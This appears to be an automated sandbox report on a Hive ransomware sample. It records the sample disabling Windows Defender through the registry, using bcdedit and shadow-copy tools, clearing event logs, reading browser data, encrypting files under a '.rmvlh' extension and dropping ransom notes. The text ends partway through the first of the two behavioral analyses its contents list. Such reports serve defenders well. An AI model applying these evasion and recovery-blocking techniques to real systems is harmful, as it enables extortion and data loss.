Malware Analysis Report

2024-10-16 03:12

Sample ID 220113-q5sccaafgq
Target edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050
SHA256 edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050

Threat Level: Known bad

The file edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050 was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Deletes Windows Defender Definitions

Modifies Windows Defender Real-time Protection settings

Modifies security service

Hive

Modifies boot configuration data using bcdedit

Deletes shadow copies

Clears Windows event logs

Modifies extensions of user files

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Suspicious use of WriteProcessMemory

Runs net.exe

Opens file in notepad (likely ransom note)

Interacts with shadow copies

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-13 13:51

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-13 13:51

Reported

2022-01-13 13:56

Platform

win7-en-20211208

Max time kernel

125s

Max time network

124s

Command Line

"C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\WatchGet.png.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_P55HJbhvzBM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\WriteRepair.tif => C:\Users\Admin\Pictures\WriteRepair.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_bfXdksxT5ts0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\WriteRepair.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_bfXdksxT5ts0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\DisconnectRegister.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_tvylPeyXdeg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\GrantSkip.tif => C:\Users\Admin\Pictures\GrantSkip.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Vib7UGWeNjY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\GrantSkip.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Vib7UGWeNjY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\SuspendPublish.raw => C:\Users\Admin\Pictures\SuspendPublish.raw.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_nWGcPp7PCO80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\CompareGet.raw => C:\Users\Admin\Pictures\CompareGet.raw.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_sqGS82M9CRM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\DisconnectRegister.tif => C:\Users\Admin\Pictures\DisconnectRegister.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_tvylPeyXdeg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\UnprotectComplete.tif => C:\Users\Admin\Pictures\UnprotectComplete.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_5XdKALX1oM40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\WaitPublish.raw.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_eufwc7anF9Y0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\CompareGet.raw.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_sqGS82M9CRM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\SuspendPublish.raw.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_nWGcPp7PCO80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\UnprotectComplete.tif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_5XdKALX1oM40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\WaitPublish.raw => C:\Users\Admin\Pictures\WaitPublish.raw.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_eufwc7anF9Y0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\WatchGet.png => C:\Users\Admin\Pictures\WatchGet.png.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_P55HJbhvzBM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02062U.BMP.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_UNM-ut_2Bho0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\sXhL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_zh_CN.jar.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_UspRNtzKdgw0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_4P11GL0YStg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0145168.JPG.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_tbO7BPvfnZg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\J0115864.GIF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_XfdrsCt8-uM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSPUB.OPG.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Qib6n8SEdEs0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Calendar\CalendarViewButtonImages.jpg.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_A3Nv7CMFRvc0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\security\cacerts.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_WPSbaoFtazo0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_UpZXFiUtelo0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\button_play.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Adobe\Help\en_US\Adobe Reader\9.0\helpmap.txt.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_JAvTjbYTy2Y0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0301432.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_-GVzNfegUX80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02066_.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_qW1W8Sj6SbU0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Casual.css.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_awnGHCM5nMY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\NVBELL.NET.XML.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_dPeN6C0LR-k0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_zh_CN.jar.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_eqH-KUBho3s0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application-views_zh_CN.jar.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_mUosp2GVxQs0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_OMsG7JYvvqE0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Services\verisign.bmp.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_l2Y2ew5erWE0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\6.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\sXhL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Americana\sXhL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SKY\THMBNAIL.PNG.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_3o8cz_mLTk40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00820_.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_9YDl6OoLukg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR1B.GIF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_fjeSEdKVr9o0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\sXhL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Peacock.jpg C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EN00202_.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Rv-vf5JR7Pg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105638.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_5p6w3FI-OKE0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0313965.JPG.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_i4icqZcOqQU0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\MeetingIcon.jpg.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n__rMzx1uv3Kg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\MARQUEE.POC.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_-2-XokonN-I0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\buttonDown_Off.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.configuration_5.5.0.165303.jar.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_bvSOHUNV62Y0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\security\javafx.policy.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_7aPpqmgMDMg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382970.JPG.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_RoR-zdM0R_80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\OutlineToolIconImagesMask.bmp.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_FOAdcYVqKcY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsBlankPage.html.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_BUuRNVVU1_c0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\base-undocked-2.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_thunderstorm.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Guadalcanal.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_d_kmOfiJKM00.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01607U.BMP.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_CGZ3benGBRg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD10358_.GIF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_QIp6B2vwWOE0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\rtf_choosefont.gif.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_CIhnbILDlvo0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\sXhL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\22.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\js\localizedStrings.js C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\sXhL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_ja_4.4.0.v20140623020002.jar.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_NtsaM1SRA_g0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198102.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Zt8xmpqnwFc0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\HEADER.GIF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_rrqFYeYAxmQ0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\NAVBRPH2.POC.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Ij6VBEz3Nn80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02053J.JPG.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_RfDzPy3hWi80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\NotifierWindowMask.bmp.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_jWKylgkdpxc0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\en-US\gadget.xml C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Common Files\System\es-ES\wab32res.dll.mui C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Inuvik.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_bS48JVCzgZA0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\COMPASS\PREVIEW.GIF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_A8duDRxLxaA0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00068_.WMF.Vif5SCuPHsIYbglhI0TXLgslRmDFKkwHo8iCKWNt92n_Pq2AKLPVbAY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\js\clock.js C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\settings.html C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
